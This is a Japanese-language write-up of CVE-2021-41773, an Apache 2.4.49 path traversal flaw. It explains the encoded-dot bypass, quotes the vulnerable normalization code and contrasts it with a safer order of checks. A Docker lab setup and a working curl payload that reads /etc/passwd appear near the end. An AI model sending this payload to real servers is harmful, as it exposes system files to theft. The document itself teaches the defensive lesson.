
PoC and analysis of CVE-2021-41773
CVE-2021-41773 は、Apache HTTP Server 2.4.49 に影響を与えるパストラバーサル脆弱性です。
この脆弱性により、攻撃者は特定の構成下、特に Alias、ScriptAlias、またはその他の Alias 系ディレクティブを通じてディレクトリが公開されている場合に、意図されたディレクトリの外部にあるファイルへアクセスできる可能性があります。
この脆弱性は、URL パスの正規化およびカノニカル化の不適切な処理に起因します。Apache は、エンコードされた文字をまだ含み得るパス表現に対してセキュリティチェックを実行していたため、攻撃者はエンコードされたドットシーケンスを使用してトラバーサル検出を回避できました。
攻撃者は、次のようなエンコードされたトラバーサルシーケンスを含む悪意のある URL を作成できます:
.%2e
ここで:
%2e = .
したがって:
.%2e
はデコード後に:
..
になります。
Apache がエンコードされた表現を正規形に解決する前に検証する場合、トラバーサルチェックは回避される可能性があります。
悪用に成功すると、攻撃者はファイルシステムから任意のファイルを読み取ることができます。
ターゲットの例:
/etc/passwd
脆弱なロジックは、以下にあります:
server/util.c
内の:
ap_normalize_path()
Apache 2.4.49 の脆弱なコード:
if (path[l] == '.') {
/* Remove /./ segments */
if (IS_SLASH_OR_NUL(path[l + 1])) {
l++;
if (path[l]) {
l++;
}
continue;
}
/* Remove /xx/../ segments */
if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
/* Wind w back to remove the previous segment */
if (w > 1) {
do {
w--;
} while (w && !IS_SLASH(path[w - 1]));
}
else {
/* Already at root, ignore and return a failure
* if asked to.
*/
if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
ret = 0;
}
}
/* Move l forward to the next segment */
l += 2;
if (path[l]) {
l++;
}
continue;
}
}
脆弱なコードは、ディレクトリトラバーサルパターンを識別しようとします:
../
連続するドットをチェックすることで:
path[l + 1] == '.'
しかし、攻撃者はエンコードされたトラバーサルシーケンスを提供できます:
/.%2e/
正規化チェックの時点で、Apache は次のものを処理します:
.%2e
の代わりに:
..
なぜなら:
%2e != .
トラバーサル検出ロジックは、このシーケンスを:
../
として認識しません。
パスはその後、デコードされた形式で解釈され、トラバーサルが発生する可能性があります。
脆弱な動作は次のように表せます:
HTTP リクエスト
|
v
パス正規化 / トラバーサル検証
|
v
URL デコード / カノニカル化
|
v
ファイルシステムアクセス
セキュリティ上の決定は、パスが最終的な正規表現に到達する前に行われます。
より安全なアプローチは次のとおりです:
HTTP リクエスト
|
v
URL デコード
|
v
パス正規化
|
v
トラバーサル検証
|
v
ファイルシステムアクセス
セキュリティチェックは、常に最終的な正規化表現に対して実行されるべきです。
git clone https://github.com/tr3m0x/CVE-2021-41773.git
cd CVE-2021-41773
docker build -t apache-cve-2021-41773 .
docker run -d \
--name apache-vulnerable \
-p 8989:80 \
apache-cve-2021-41773
エンコードされたトラバーサルシーケンスを含むリクエストを送信します:
curl --path-as-is \
"http://localhost:8989/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
悪用に成功すると、次の内容が返されます:
/etc/passwd
例:
root:x:0:0:root:/root:/bin/bash
403 Forbidden レスポンスは、必ずしも悪用が失敗したことを意味しません。
テスト中、Apache は次のものを正常に正規化する可能性があります:
/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd
を:
/etc/passwd
に変換しますが、ファイルシステムの権限や Apache の認可ルールによりアクセスを拒否します。
例:
client denied by server configuration: /etc/passwd
これは、トラバーサルが正常に発生したが、アクセス制御がファイル開示を防いだことを示します。
CVE-2021-41773 は、カノニカル化の脆弱性の典型的な例です。
ユーザー制御の入力には、複数の表現が存在し得ます:
.%2e
と:
..
見た目は異なりますが、これらは同じパスコンポーネントを表します。
セキュリティチェックは、常にデコードおよび正規化の後に実行される必要があります。エンコードされた表現や曖昧な表現を検証すると、セキュリティバイパスにつながる可能性があります。